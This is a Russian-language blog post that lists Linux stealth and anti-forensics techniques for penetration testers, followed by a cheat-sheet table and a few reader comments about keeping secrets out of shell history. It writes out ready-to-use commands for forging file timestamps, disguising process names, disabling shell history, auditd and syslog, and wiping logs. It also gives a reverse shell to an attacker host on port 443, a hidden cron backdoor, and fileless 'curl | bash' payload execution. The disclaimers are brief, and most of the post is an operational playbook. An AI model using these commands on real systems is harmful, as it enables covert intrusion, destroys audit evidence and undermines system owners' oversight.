В мире тестирования безопасности важно не только «залезть внутрь», но и сделать это так, чтобы никто не заметил. Ниже собраны практики, которые используют пентестеры и исследователи, чтобы их действия было сложнее заметить. Все примеры — только для обучения и безопасных экспериментов. Рекомендую всем изучить и добавить свои методы в комментариях ...
1. Подделка времени файлов
Файлы можно «состарить» или замаскировать под системные.
touch -r /bin/ls test.sh # время как у ls
touch -t 202001011200.00 test.sh # время «из прошлого»
Так скрипт не будет выделяться в списке новых файлов.
2. Маскировка процессов
В Linux любой процесс можно увидеть через ps. Но и тут есть трюки:
exec -a "[kworker/0:1H]" ./script.sh
Теперь процесс выглядит как «системный».
А ещё можно поменять имя через /proc:
echo "httpd" > /proc/$$/comm
3. Работа без истории Bash
История команд часто выдаёт действия. Решение — отключить её:
HISTFILE=/dev/null
unset HISTFILE
set +o history
Или очистить в конце:
history -c && history -w
4. Отключение логирования
Иногда проще временно выключить логи:
service rsyslog stop # остановка syslog
auditctl -e 0 # отключение аудита
В реальных условиях такие действия заметны, поэтому использовать осторожно.
5. Алиасы для маскировки
Алиасы позволяют «подменять» команды.
alias ls='ls --color=auto --hide=payload.sh'
Теперь твой файл не видно при обычном ls.
А можно сделать алиас для очистки следов:
alias vanish='rm -rf ~/.bash_history /var/log/*'
6. Скрытые файлы
Файлы, начинающиеся с точки, не видны без ls -a:
mv payload.sh .payload.sh
Или можно замаскировать под системный сервис:
mv script.sh systemd-update.sh
7. Скрытый сетевой трафик
Обратные шеллы часто палятся по «левым» портам. Решение — использовать привычные:
bash -i >& /dev/tcp/attacker/443 0>&1
443 — порт HTTPS, и в логах он не вызовет подозрений.
8. Чистка логов
Удалить записи о себе можно так:
> /var/log/auth.log
sed -i '/username/d' /var/log/auth.log
Но резкая «чистота» логов иногда подозрительнее, чем отдельные следы.
9. Скрытая постоянка
Нужен доступ «на потом»? Можно спрятать скрипт в cron:
(crontab -l ; echo "*/5 * * * * /usr/local/bin/.sys-update.sh") | crontab -
Или оформить под systemd-сервис.
10. Скрипты без файлов
Можно даже не сохранять файлы, а запускать их напрямую:
curl http://site/payload.sh | bash
Так ничего не попадёт на диск. А если и сохранить — лучше в /dev/shm или /tmp, которые очищаются при перезагрузке.
Скрытность — это половина успеха. Можно взломать систему, но если останутся следы, тебя легко найдут. Эти приёмы помогают понять, как действуют настоящие атакующие, и как защититься от них.
Информация только для тестирования своих серверов
Шпаргалка |
Приём |
Пример команды |
Что это даёт |
---|---|---|
Подделка времени файлов |
touch -r /bin/ls hack.sh |
Маскирует файл под старый системный |
Фальшивое имя процесса |
exec -a "[kworker/0:1H]" ./evil.sh |
В ps процесс выглядит как системный |
Изменение имени в /proc |
echo "httpd" > /proc/$$/comm |
Скрипт «притворяется» веб-сервером |
Отключить историю Bash |
HISTFILE=/dev/null; set +o history |
Команды не записываются в ~/.bash_history |
Очистить историю |
history -c && history -w |
Стирает историю текущей сессии |
Остановить логирование |
service rsyslog stop |
Временное отключение системных логов |
Отключить аудит |
auditctl -e 0 |
Linux Audit System перестаёт писать события |
Алиас для маскировки |
alias ls='ls --hide=hack.sh' |
Скрывает файл из вывода ls |
Алиас для очистки |
alias vanish='rm -rf ~/.bash_history /var/log/*' |
Удаляет историю и логи |
Скрытые файлы |
Не виден без ls -a |
|
Маскировка под сервис |
Выглядит как системный файл |
|
Обратный шелл на 443 порту |
bash -i >& /dev/tcp/ip/443 0>&1 |
Трафик «прячется» под HTTPS |
Очистка логов |
sed -i '/user/d' /var/log/auth.log |
Удаляет записи о пользователе |
Крон-бэкдор |
`(crontab -l; echo “*/5 * * * * /usr/local/bin/.sys.sh”) |
crontab -` |
Systemd-бэкдор |
ExecStart=/usr/local/bin/.update.sh |
Скрипт маскируется под службу |
Запуск без сохранения файла |
`curl http://x/payload.sh |
bash` |
NixGuy
Часто, используя, например, curl делаю запросы ко всяким сервисам. Запросы могут содержать пароли или какую-то другую секретную информацию. Есть ли возможность настроить фильтрацию команд в bash, zsh, чтобы http-заголовки или параметры строки запроса с определенными именами «затирались» в истории команд?
takkenname
HISTIGNORE? Только он целые команды не сохраняет, если а них есть ключевое слово.
loropiana Автор
как вариант использовать файл с конфигом
Johan_Palych
FireJail — краткое и ознакомительное практическое руководство
CrazyOpossum
Начать команду с пробела? Не
curl ...
, аcurl ...
. Мб это шелла зависит